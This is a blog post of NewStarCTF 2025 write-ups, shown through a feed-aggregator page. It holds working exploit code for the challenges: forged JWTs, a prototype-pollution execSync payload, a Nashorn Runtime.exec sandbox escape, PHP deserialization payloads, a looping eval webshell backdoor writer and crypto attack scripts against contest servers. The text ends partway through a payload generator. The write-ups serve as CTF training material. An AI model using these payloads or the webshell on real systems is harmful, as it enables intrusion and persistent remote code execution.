惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

宝玉的分享
宝玉的分享
T
Threat Research - Cisco Blogs
H
Hacker News: Front Page
N
News and Events Feed by Topic
Know Your Adversary
Know Your Adversary
Cisco Talos Blog
Cisco Talos Blog
SecWiki News
SecWiki News
C
Cisco Blogs
D
Darknet – Hacking Tools, Hacker News & Cyber Security
T
Tor Project blog
K
Kaspersky official blog
Forbes - Security
Forbes - Security
Webroot Blog
Webroot Blog
Schneier on Security
Schneier on Security
P
Privacy & Cybersecurity Law Blog
H
Heimdal Security Blog
Y
Y Combinator Blog
The GitHub Blog
The GitHub Blog
S
SegmentFault 最新的问题
V
Vulnerabilities – Threatpost
T
Tenable Blog
T
Tailwind CSS Blog
P
Privacy International News Feed
WordPress大学
WordPress大学
大猫的无限游戏
大猫的无限游戏
小众软件
小众软件
博客园 - Franky
Hacker News: Ask HN
Hacker News: Ask HN
Jina AI
Jina AI
C
Cybersecurity and Infrastructure Security Agency CISA
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
雷峰网
雷峰网
Vercel News
Vercel News
A
About on SuperTechFans
爱范儿
爱范儿
Simon Willison's Weblog
Simon Willison's Weblog
AWS News Blog
AWS News Blog
The Last Watchdog
The Last Watchdog
Engineering at Meta
Engineering at Meta
Spread Privacy
Spread Privacy
Security Archives - TechRepublic
Security Archives - TechRepublic
博客园 - 司徒正美
量子位
博客园 - 三生石上(FineUI控件)
J
Java Code Geeks
Hacker News - Newest:
Hacker News - Newest: "LLM"
Recorded Future
Recorded Future
H
Hackread – Cybersecurity News, Data Breaches, AI and More
Martin Fowler
Martin Fowler
Project Zero
Project Zero

猫涅的秘密结社

hackthissite-org 数据库原理相关 关于在与我互动前你可能需要了解的事 信安roadmap 个人主页开发汇报 六级生词速记本——附考后感想 数据结构C++自学相关 三款steam付费番茄钟软件测评 夏令营-ai hello-world qt环境下的c++程序编写 新新的年 qq机器人配置二三事 搞点java 读书笔记-当下的力量 网页小修时间 glibc更新记录 Vulhub在线靶场记录 Vulhub记录(旧的) 神奇脚本在哪里-CTF之Pwn BaseCTF高校联合新生赛2024 逆逆逆逆逆向-CTF之reverse 求解 夺旗时间 学学学 渗透测试相关 协议/漏洞/网络 最新的知识点 数据分析相关 zico2解析 OverTheWire-bandit解析 CTF实战相关2 靶机解析-gigachad ctf实战相关1 复习time 开学季 维修时间 小小修整 学校实训-笔记 每周靶机之Beelzebub 读书笔记-如何阅读一本书 DC-4解析 DC-2解析 每周靶机之ted 靶机-DC-1 每周靶机之bob potato解析 xss跨站点脚本攻击 每周靶机之Tommyboy1dot0 owasp命令执行漏洞 owasp文件包含漏洞 每周靶机之WALLABY'S-NIGHTMARE owasp上传漏洞 Hackademic.RTB1 owasp与sql注入与sqlmap liunx中sudo服务相关知识 liunx中ssh服务相关知识 moneybox解析 C语言相关1 关于加入aplayer的方式 再来一次 关于在next7.8.0中建设评论功能这件事 目前的进展 编辑小提示
NewStarCTF-2025
nirvana_felis · 2025-09-29 · via 猫涅的秘密结社
1
2
3
废弃的网站
本题考查了「条件竞争」漏洞的简单利用。
本题给出了服务的源码,你需要找出服务中存在的条件竞争点,并且通过条件竞争点来合理编写脚本来对服务进行攻击。
1
2
3
//Token生成逻辑
time_started = round(time.time()) # 应用启动时的Unix时间戳
APP_SECRET = hashlib.sha256(str(time_started).encode()).hexdigest()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import jwt
import hashlib
import time
# 当前时间
current_time = int(time.time())
# 获取到的uptime(假设为1024秒)
uptime = 1024
base_time_started = current_time - uptime
# 生成从base-10到base+10的time_started
tokens = []
for offset in range(-10, 11):
time_started = base_time_started + offset
secret = hashlib.sha256(str(time_started).encode()).hexdigest()
payload = {"id": 1, "role": "admin", "name": "Administrator"}
token = jwt.encode(payload, secret, algorithm='HS256')
tokens.append(token)
# 将token写入文件
with open('tokens.txt', 'w') as f:
for token in tokens:
f.write(token + '\n')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
def admin_required(f):
def wrapper(*args, **kwargs):
cookie = request.cookies.get('session', None)
if cookie is None:

response = redirect('/')
session = jwt.encode(USER_DB['guest'], APP_SECRET, algorithm='HS256')
response.set_cookie('session', session)
return response
try:
user_data = jwt.decode(cookie, APP_SECRET, algorithms=['HS256'])
if user_data['role'] != 'admin':
abort(403, description="Admin access required.")
if user_data['name'] != 'Administrator':
abort(403, description="Admin access required.")
time.sleep(0.15)
except jwt.InvalidTokenError:
abort(401, description = f"Session expired. Please log in again. System has been running {round(time.time() - time_started)} seconds.")
return f(*args, **kwargs)
wrapper.__name__ = f.__name__
return wrapper

@app.before_request
def load_user():
if request.endpoint == 'static':
return
global tempuser
cookie = request.cookies.get('session', None)
if cookie is None:
tempuser = USER_DB['guest']
session = jwt.encode(tempuser, APP_SECRET, algorithm='HS256')
response = redirect(request.path)
response.set_cookie('session', session)
return response
try:
user_data = jwt.decode(cookie, APP_SECRET, algorithms=['HS256'])
tempuser = user_data
except jwt.InvalidTokenError:
session = jwt.encode(USER_DB['guest'], APP_SECRET, algorithm='HS256')
content = render_template_string(
"Session expired. Please log in again. System has been running %d seconds." %
(round(time.time() - time_started))
)
response = app.make_response((content, 401))
response.set_cookie('session', session)
return response

时间线 线程A(攻击者) 线程B(污染者)
t0 发送/admin请求 (guest token)
t1 权限检查通过(基于cookie)
t2 ↓进入150ms等待 持续访问首页,设置tempuser
t3 ↓ load_user()将tempuser设为当前用户
t4 ↓执行admin_panel()函数
t5 读取tempuser(可能已被污染)
t6 返回结果
1
2
3
4
小 W 和小 K 的故事(最终章)
本题考查了 nodejs 中的「原型链污染」漏洞。
尝试找出服务中存在的各个模块中,可能造成原型链污染的方法,并且上网搜寻其相关内容。
当我们在对大多数服务(特别是 go,nodejs,python 等强模块相关的语言)进行渗透时,通常需要了解该服务中所利用到的模块的版本信息,并且根据模块版本信息来上网搜寻相关的 CVE,或者查询 github 上的历史 commit 中被修改掉的内容,很可能就是解题的关键。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
const rng = new random(114514);

class Random {
constructor(seed) {
this.seed = (seed || Date.now()) % 998244353;
}
next() {
this.seed = (this.seed * 48271) % 998244353;
return this.seed;
}
getRandomInt(min, max) {
return min + (this.next() % (max - min));
}
getRandomFloat(min, max) {
return min + Math.sin(getRandomInt(0, 10000)) * (max - min);
}
getRandomString(length) {
const charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
let result = "";
for (let i = 0; i < length; i++) {
result += charset.charAt(this.getRandomInt(0, charset.length));
}
return result;
}
}

module.exports = Random;

可以看到random的生成逻辑是个伪随机 且生成种子seed也暴露了 是114514 我们拼接一下源代码 在其后加上console.log(rng.getRandomString(16)); 生成admin密码的可能性 试个几次就有了
79
提权之后才能用原型链污染 这里通过强制使页面报错 并将报错代码改为命令运行结果

1
2
3
4
5
6
7
{
"constructor": {
"prototype": {
"outputFunctionName": "x;throw new Error(process.mainModule.require('child_process').execSync('[具体payload]').toString());x"
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
看到 Blacklisted word detected: new,说明 Java.type("java.util.Scanner")(...)这种写法在底层还是被识别为包含 "new"子串。可能是 Nashorn 内部将 Java.type(...)(...)转换成 new操作,或者黑名单检测在更深层次。
我们需要完全避免任何可能产生 new的操作,包括 Java.type创建实例。
1. 新思路:用现有的 Java API 中已有的对象来读取
既然 Runtime.getRuntime().exec()可以执行命令,我们可以将结果写入文件,然后读取文件内容。
var a="java.lang."+"Runtime";
var b=java.lang.Class.forName(a).getMethod("getRuntime").invoke(null);
b.exec("sh -c 'cat /flag > /tmp/flag.txt'").waitFor();
var lines=Java.type("java.nio.file.Files").readAllLines(Java.type("java.nio.file.Paths").get("/tmp/flag.txt"));
lines.get(0)
这里:
Files.readAllLines是静态方法,不需要 new
Paths.get也是静态方法,不需要 new
全程没有 new关键字
2. 如果还不行,尝试用 ProcessBuilder 的静态方法(但需要实例)
其实还是要创建实例。我们换一种:用 java.lang.ProcessImpl的反射启动进程,但可能也需要 newInstance。
3. 用 Base64 编码命令执行结果,避免复杂读取
var a="java.lang."+"Runtime";
var b=java.lang.Class.forName(a).getMethod("getRuntime").invoke(null);
var c=b.exec("sh -c 'cat /flag | base64'");
var scanner=Java.type("java.util.Scanner")(c.getInputStream()).useDelimiter("\\\\A");
scanner.hasNext()?scanner.next():""
还是会有 new检测。
4. 终极方案:用 JavaScript 自身拼接输出
如果命令输出很短,我们可以用 InputStream.read()逐个字节读取,拼接字符串:
var a="java.lang."+"Runtime";
var b=java.lang.Class.forName(a).getMethod("getRuntime").invoke(null);
var c=b.exec("cat /flag");
var i=c.getInputStream();
var result="";
var byteVal=i.read();
while(byteVal!=-1){result+=String.fromCharCode(byteVal);byteVal=i.read();}
result
1
2
3
4
5
6
7
8
9
计算器 最终payload
var a="java.lang."+"Runtime";
var b=java.lang.Class.forName(a).getMethod("getRuntime").invoke(null);
var c=b.exec("cat /flag");
var i=c.getInputStream();
var result="";
var byteVal=i.read();
while(byteVal!=-1){result+=String.fromCharCode(byteVal);byteVal=i.read();}
result
1
2
上传的1.dat 利用了php伪协议
a:4:{s:9:"timestamp";i:1761919039;s:7:"version";s:3:"1.0";s:4:"blog";O:4:"Blog":8:{s:2:"id";i:4;s:5:"title";s:6:"Test 4";s:7:"content";s:1:"1";s:7:"user_id";i:1;s:8:"username";s:5:"admin";s:10:"created_at";s:19:"2025-10-31 21:45:45";s:10:"updated_at";s:19:"2025-10-31 21:45:45";s:8:"template";s:52:"php://filter/convert.base64-encode/resource=flag.php";}s:9:"signature";s:62:"3a98354afb44dfadb382da90dceebf1e60cf24d85912bf175c2d7438c6d460";}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
from pwn import *
import itertools

# 定义 S-box 和 P-box
S = [13, 11, 6, 5, 2, 7, 3, 4, 9, 0, 10, 1, 12, 15, 8, 14]
P = (0, 4, 8, 12, 1, 5, 9, 13, 2, 6, 10, 14, 3, 7, 11, 15)

def deblock(m):
return [(m >> 12) & 0xF, (m >> 8) & 0xF, (m >> 4) & 0xF, m & 0xF]

def block(nibbles):
return (nibbles[0] << 12) | (nibbles[1] << 8) | (nibbles[2] << 4) | nibbles[3]

def S_apply(nibbles):
return [S[i] for i in nibbles]

def permute_bits(x):
bits = [(x >> (15 - i)) & 1 for i in range(16)]
new_bits = [0] * 16
for i in range(16):
new_pos = P[i]
new_bits[new_pos] = bits[i]
result = 0
for i in range(16):
result = (result << 1) | new_bits[i]
return result

def round1(m, k0):
u = m ^ k0
nibbles = deblock(u)
v_nibbles = S_apply(nibbles)
v = block(v_nibbles)
x = permute_bits(v)
return x

def round2_sbox(x):
nibbles = deblock(x)
z_nibbles = S_apply(nibbles)
z = block(z_nibbles)
return z

def fast_differential_attack(conn, plaintexts):
"""快速差分攻击,在单次连接内完成"""
ciphertexts = []

# 收集密文
for msg in plaintexts:
conn.recvuntil(b"Your input: ")
conn.sendline(hex(msg)[2:].encode())
line = conn.recvline().decode().strip()
if line.startswith("Output: 0x"):
hex_str = line[10:]
c = int(hex_str, 16)
ciphertexts.append(c)
print(f"m={msg:04x} -> c={c:04x}")
else:
print("Unexpected output:", line)
return None

# 快速差分分析
m1, m2, m3 = plaintexts[0], plaintexts[1], plaintexts[2]
c1, c2, c3 = ciphertexts[0], ciphertexts[1], ciphertexts[2]

c1_nib, c2_nib = deblock(c1), deblock(c2)

# 优化搜索:使用更有效的差分特征
candidate_keys = []

for k0 in range(0x10000):
if k0 % 0x1000 == 0: # 减少进度输出频率
print(f"Progress: k0 = {k0:04x}")

x1 = round1(m1, k0)
x2 = round1(m2, k0)
x1_nib, x2_nib = deblock(x1), deblock(x2)

# 快速筛选:检查差分是否可能
valid = True
possible_k1_nib = [[] for _ in range(4)]

for i in range(4):
delta_c = c1_nib[i] ^ c2_nib[i]
found = False
for k1_i in range(16):
s1 = S[x1_nib[i] ^ k1_i]
s2 = S[x2_nib[i] ^ k1_i]
if s1 ^ s2 == delta_c:
possible_k1_nib[i].append(k1_i)
found = True
if not found:
valid = False
break

if not valid:
continue

# 生成k1候选并验证
for k1_comb in itertools.product(*possible_k1_nib):
k1 = (k1_comb[0] << 12) | (k1_comb[1] << 8) | (k1_comb[2] << 4) | k1_comb[3]

# 计算k2并验证第三个明文
z1 = round2_sbox(x1 ^ k1)
k2 = z1 ^ c1

x3 = round1(m3, k0)
z3 = round2_sbox(x3 ^ k1)
c3_calc = z3 ^ k2

if c3_calc == c3:
# 用第四个明文进一步验证(如果收集了更多)
if len(plaintexts) > 3:
m4, c4 = plaintexts[3], ciphertexts[3]
x4 = round1(m4, k0)
z4 = round2_sbox(x4 ^ k1)
if (z4 ^ k2) == c4:
candidate_keys.append((k0, k1, k2))
else:
candidate_keys.append((k0, k1, k2))

# 如果找到候选密钥,立即返回(优化速度)
if candidate_keys:
break

return candidate_keys

def main():
max_attempts = 3 # 最大尝试次数

for attempt in range(max_attempts):
print(f"\n=== Attempt {attempt + 1} ===")

try:
# 连接服务器
r = remote("8.147.132.32", 36646)

# 选择高效的明文(差分特征明显的)
plaintexts = [0x0000, 0x0001, 0x0002, 0x0004] # 小差分

# 执行快速攻击
candidates = fast_differential_attack(r, plaintexts)

if candidates:
print(f"Found {len(candidates)} candidate key sets")

# 尝试每个候选密钥
for i, (k0, k1, k2) in enumerate(candidates):
print(f"Trying candidate {i+1}: k2={k2:04x}")

r.recvuntil(b"Your input: ")
r.sendline(b'k')
r.recvuntil(b"Your key:")
r.sendline(hex(k2).encode())

response = r.recvline().decode().strip()
print("Response:", response)

if "Wrong" not in response and "Bye" not in response:
print("SUCCESS! Flag found!")
# 接收所有输出
while True:
try:
line = r.recvline(timeout=2).decode().strip()
if line:
print(line)
except:
break
r.close()
return
else:
print("Wrong key, attempt failed.")
break

else:
print("No keys found in this attempt.")

r.close()

except Exception as e:
print(f"Error in attempt {attempt + 1}: {e}")
try:
r.close()
except:
pass

print("All attempts failed.")

if __name__ == '__main__':
main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from py_ecc.bls import G2ProofOfPossession as bls
import socket
import json
import secrets

order = 52435875175126190479447740508185965837690552500527637822603658699938581184513

def send_command(command):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("8.147.132.32", 42561))
s.sendall(json.dumps(command).encode() + b'\n')
response = s.recv(1024).decode()
s.close()
return json.loads(response)

# 1. 获取服务器信息
info = send_command({"type": "get_info"})
pk_server_hex = info["message"]["server_pk"]
pop_server_hex = info["message"]["pop_server"]

# 2. 生成密钥对
sk1 = secrets.randbelow(order - 1) + 1
sk2 = (-sk1) % order
pk1 = bls.SkToPk(sk1)
pk2 = bls.SkToPk(sk2)
pop1 = bls.Sign(sk1, b"POP")
pop2 = bls.Sign(sk2, b"POP")

# 3. 注册公钥
send_command({"type": "register", "pk": pk1.hex(), "pop": pop1.hex()})
send_command({"type": "register", "pk": pk2.hex(), "pop": pop2.hex()})

# 4. 获取服务器签名
sig_server = send_command({"type": "sign", "msg": "get_flag"})["message"]
sig_server_bytes = bytes.fromhex(sig_server)

# 5. 构造聚合签名
sig1 = bls.Sign(sk1, b"get_flag")
sig2 = bls.Sign(sk2, b"get_flag")
agg_sig = bls.Aggregate([sig1, sig2, sig_server_bytes])

# 6. 提交获取flag
result = send_command({
"type": "get_flag",
"pks": [pk1.hex(), pk2.hex(), pk_server_hex],
"sig": agg_sig.hex()
})
print(result)
{'success': True, 'message': 'flag{37b48d86-4c2f-4910-94f6-79bd2b521588}'}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
import uuid
from sage.all import *

def b2l(b: bytes) -> int:
result = 0
for byte in b:
result = (result << 8) | byte
return result

def l2b(n: int) -> bytes:
result = b""
while n > 0:
result = bytes([n & 0xff]) + result
n >>= 8
return result

# 给定参数
p = 30784558756838163538710632027143185397437897603217673077150297305544071001199
c1 = 2909317260219356685336632301474678396728564531244632916913671591997406996972
c2 = 4294738619365099885640900866122577092111906369664055461700321556058254607968
s = 8215705534787817006092091346252328321484153279277254569529867991109185617083

# 定义有限域
Fp = GF(p)

def solve_m1():
"""求解m1: c1 = m1^19 + m1^18 + 4*m1^17 mod p"""
# 因式分解: m1^17 * (m1^2 + m1 + 4) = c1 mod p
R.<x> = PolynomialRing(Fp)

# 方法1: 直接解高次方程
poly1 = x^19 + x^18 + 4*x^17 - c1

# 因式分解后解低次方程
# 先找m1^17的根,再解二次方程
candidates = []

# 尝试所有可能的17次根
for root in poly1.roots():
m1_candidate = int(root[0])
# 验证是否是有效消息(可转换为可打印字符)
try:
msg = l2b(m1_candidate)
if all(32 <= b < 127 for b in msg): # 可打印ASCII字符
candidates.append((m1_candidate, msg))
except:
continue

return candidates

def solve_m2():
"""求解m2: c2 = 5*m2^19 + m2^18 + 4*m2^17 mod p"""
R.<x> = PolynomialRing(Fp)
poly2 = 5*x^19 + x^18 + 4*x^17 - c2

candidates = []

for root in poly2.roots():
m2_candidate = int(root[0])
try:
msg = l2b(m2_candidate)
if all(32 <= b < 127 for b in msg):
candidates.append((m2_candidate, msg))
except:
continue

return candidates

def verify_solution(m1, m2):
"""验证第三个方程: s = m1^7 * m2^2 + m2 mod p"""
m1_fp = Fp(m1)
m2_fp = Fp(m2)
calculated_s = m1_fp^7 * m2_fp^2 + m2_fp
return calculated_s == Fp(s)

def main():
print("求解m1...")
m1_candidates = solve_m1()
print(f"找到 {len(m1_candidates)} 个可能的m1解")

print("求解m2...")
m2_candidates = solve_m2()
print(f"找到 {len(m2_candidates)} 个可能的m2解")

print("\n验证所有组合...")
for m1_val, m1_msg in m1_candidates:
for m2_val, m2_msg in m2_candidates:
if verify_solution(m1_val, m2_val):
print(f"\n找到正确解!")
print(f"m1 (十六进制): {m1_val:x}")
print(f"m2 (十六进制): {m2_val:x}")
print(f"m1 原文: {m1_msg.decode('utf-8', errors='ignore')}")
print(f"m2 原文: {m2_msg.decode('utf-8', errors='ignore')}")

flag = m1_msg + m2_msg
print(f"完整flag: {flag.decode('utf-8', errors='ignore')}")
return

print("未找到有效解,尝试直接多项式求解...")

# 直接多项式求解方法
R.<x> = PolynomialRing(Fp)

# 解m1的方程
poly1 = x^19 + x^18 + 4*x^17 - c1
roots1 = poly1.roots()

# 解m2的方程
poly2 = 5*x^19 + x^18 + 4*x^17 - c2
roots2 = poly2.roots()

print(f"\n直接求解找到 {len(roots1)} 个m1根, {len(roots2)} 个m2根")

# 暴力尝试所有组合
for r1, mult1 in roots1:
for r2, mult2 in roots2:
m1_val = int(r1)
m2_val = int(r2)

if verify_solution(m1_val, m2_val):
print("通过直接求解找到正确解!")
try:
m1_msg = l2b(m1_val)
m2_msg = l2b(m2_val)
flag = m1_msg + m2_msg
print(f"完整flag: {flag.decode('utf-8', errors='ignore')}")
return
except:
print(f"数值解: m1={m1_val:x}, m2={m2_val:x}")

if __name__ == "__main__":
main()

(sage-sh) nekos@nekobot:~$ sage '/cygdrive/e/web tool/1.sage'
求解m1...
找到 1 个可能的m1解
求解m2...
找到 1 个可能的m2解

验证所有组合...

找到正确解!
m1 (十六进制): 666c61677b33626462323432342d353931612d3461
m2 (十六进制): 39322d623538372d3734393531633861643139327d
m1 原文: flag{3bdb2424-591a-4a
m2 原文: 92-b587-74951c8ad192}
完整flag: flag{3bdb2424-591a-4a92-b587-74951c8ad192}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/env python3
# coding: utf-8
import ast
from itertools import product
from pwn import remote, timeout

# 参数(和你原题一致)
p = 225791639467198034995070527100776477487
g = 3
h = 5
n = 16

def brute_force_x(a, t):
"""暴力枚举 0/1 向量 x,使 dot(a, x) == t。返回 tuple 或 None。"""
L = len(a)
for bits in product([0, 1], repeat=L):
# Python 的 sum 对大整数没有问题
dot = 0
for ai, xi in zip(a, bits):
if xi:
dot += ai
if dot == t:
return bits
return None

def main():
host = "8.147.130.32"
port = 32772
conn = None
try:
conn = remote(host, port, timeout=10)
# 读取两行:第一行为 a,第二行为 t
raw_a = conn.recvline(timeout=5).decode().strip()
raw_t = conn.recvline(timeout=5).decode().strip()

a = ast.literal_eval(raw_a)
t = int(raw_t)
print("a =", a)
print("t =", t)

x = brute_force_x(a, t)
if x is None:
print("未找到满足条件的 x。")
return
print("Found x =", x)

# 构造 C 列表:对于每个比特,C_i = g^{x_i} * h mod p
# 由于 x_i ∈ {0,1},等价于:x_i==0 -> h, x_i==1 -> g*h
C = []
for xi in x:
if xi == 0:
c_i = h % p
else:
c_i = (g * h) % p
C.append(c_i)

# 按照服务端提示逐个发送每个 bit 对应的 C[i]
for i in range(n):
# 等待服务端提示
conn.recvuntil(b'Every bit: ', timeout=5)
conn.sendline(str(C[i]).encode())

# 服务端发回 s 列表(应是一个 python list 字符串)
line_s = conn.recvline(timeout=5).decode().strip()
s_list = ast.literal_eval(line_s)
print("s =", s_list)

# 计算 S = sum(s_i * x_i)
S = sum(si * xi for si, xi in zip(s_list, x))
# 计算 M 和 R(按题目)
M = sum(s_list)
R = M + (p - 1)

# 发送 S 和 R(等待 '>' 提示)
conn.recvuntil(b'>', timeout=5)
conn.sendline(str(S).encode())
conn.recvuntil(b'>', timeout=5)
conn.sendline(str(R).encode())

# 读取 flag
flag_line = conn.recvline(timeout=5).decode().strip()
print("Flag:", flag_line)

except Exception as e:
print("发生异常:", repr(e))
finally:
if conn:
conn.close()

if __name__ == '__main__':
main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
(function() {
var Aij$cmYht1 = ['\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x75\x5a\x58\x64\x7a\x64\x47\x46\x79\x4c\x6d\x64\x68\x62\x57\x55\x76', '\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x75\x5a\x58\x64\x7a\x64\x47\x46\x79\x4c\x6d\x64\x68\x62\x57\x56\x6b\x4c\x77\x3d\x3d', '\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x75\x5a\x58\x64\x7a\x64\x47\x46\x79\x4c\x6d\x64\x68\x62\x57\x56\x7a\x4c\x77\x3d\x3d', '\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x75\x5a\x58\x64\x7a\x64\x47\x46\x79\x4c\x6d\x64\x68\x62\x6d\x56\x7a\x4c\x77\x3d\x3d', '\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x75\x5a\x58\x64\x7a\x64\x47\x46\x79\x4c\x6d\x64\x68\x62\x6d\x56\x7a\x4c\x77\x3d\x3d'];
var lot2 = ['\x5a\x6d\x46\x6a\x61\x31\x39\x6d\x62\x47\x46\x6e\x58\x77\x3d\x3d', '\x5a\x6d\x78\x68\x5a\x31\x39\x6d\x59\x57\x4e\x72\x58\x77\x3d\x3d', '\x61\x6e\x4e\x66\x64\x6d\x56\x79\x65\x56\x39\x6e\x62\x32\x39\x6b', '\x61\x6e\x4e\x66\x5a\x6d\x4e\x31\x61\x77\x3d\x3d', '\x61\x47\x39\x33\x58\x32\x46\x69\x62\x33\x56\x30\x58\x32\x70\x7a'];
function _pick(CjQmMUp3, K$kHfNWZ4) {
return CjQmMUp3[(K$kHfNWZ4 * 7 + 3) % CjQmMUp3['\x6c\x65\x6e\x67\x74\x68']]
}
function _b64decode(qhC5) {
if (typeof atob === '\x66\x75\x6e\x63\x74\x69\x6f\x6e') {
try {
return atob(qhC5)
} catch (e) {}
}
var aVeUV6 = '\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d';
var LegKEfpY7 = '';
qhC5 = qhC5['\x72\x65\x70\x6c\x61\x63\x65'](/[^A-Za-z0-9\+\/\=]/g, '');
for (var snkimliGd8 = 0; snkimliGd8 < qhC5['\x6c\x65\x6e\x67\x74\x68']; ) {
var d9 = aVeUV6['\x69\x6e\x64\x65\x78\x4f\x66'](qhC5['\x63\x68\x61\x72\x41\x74'](snkimliGd8++));
var pTr10 = aVeUV6['\x69\x6e\x64\x65\x78\x4f\x66'](qhC5['\x63\x68\x61\x72\x41\x74'](snkimliGd8++));
var Ghn11 = aVeUV6['\x69\x6e\x64\x65\x78\x4f\x66'](qhC5['\x63\x68\x61\x72\x41\x74'](snkimliGd8++));
var IE12 = aVeUV6['\x69\x6e\x64\x65\x78\x4f\x66'](qhC5['\x63\x68\x61\x72\x41\x74'](snkimliGd8++));
var pvoGIOqE_13 = (d9 << 2) | (pTr10 >> 4);
var YOM14 = ((pTr10 & 15) << 4) | (Ghn11 >> 2);
var _nvy15 = ((Ghn11 & 3) << 6) | IE12;
LegKEfpY7 += window["\x53\x74\x72\x69\x6e\x67"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](pvoGIOqE_13);
if (Ghn11 !== 64)
LegKEfpY7 += window["\x53\x74\x72\x69\x6e\x67"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](YOM14);
if (IE12 !== 64)
LegKEfpY7 += window["\x53\x74\x72\x69\x6e\x67"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](_nvy15)
}
try {
return decodeURIComponent(window["\x65\x73\x63\x61\x70\x65"](LegKEfpY7))
} catch (e) {
return LegKEfpY7
}
}
window['\x5f\x72\x65\x74\x75\x72\x6e'] = function() {
var uJSkGDiOs16 = _pick(Aij$cmYht1, 2);
var VPa17 = _pick(lot2, 2);
var qoLQjP18 = _b64decode(uJSkGDiOs16);
var KfPIM19 = _b64decode(VPa17);
window['\x6c\x6f\x63\x61\x74\x69\x6f\x6e']['\x68\x72\x65\x66'] = qoLQjP18;
try {
window['\x24']['\x24'] = window[KfPIM19]
} catch (e) {
window['\x24']['\x24'] = undefined
}
}
}
)();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
ignore_user_abort(true);
set_time_limit(0);
$file = './backdoor.php';
$hack = 'I hack you!';
/** $code = "<?php if(md5(\$_GET['flag2'])=='87c298a56e0caa355872ab47db11e06c'){@eval(\$_POST['cmd']);}?>"; **/
while (1){
if (!file_exists($file)) {
file_put_contents($file,$hack.$code);
}
usleep(5000);
#unlink(__FILE__);
}
?>

1
2
3
4
5
if ($_GET["ma_ze.path"]){ 
unserialize(base64_decode($_GET["ma_ze.path"]));
}else{
echo "这个变量名有点奇怪,要怎么传参呢?";
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env bash
set -euo pipefail

# 生成器:在 Linux 上用 PHP CLI 生成序列化 payload(base64 + urlencoded)
TMPPHP="$(mktemp /tmp/gen_payload.XXXX.php)"

cat > "$TMPPHP" <<'PHP'
<?php
class startPoint { public $direction; }
class Treasure { protected $door; protected $chest; }
class SaySomething { public $sth; }
class endPoint { private $path; }

/* 构造 endPoint 并设置私有属性 path */
$end = new endPoint();
$rc_end = new ReflectionClass('endPoint');
$prop_path = $rc_end->getProperty('path');
$prop_path->setAccessible(true);
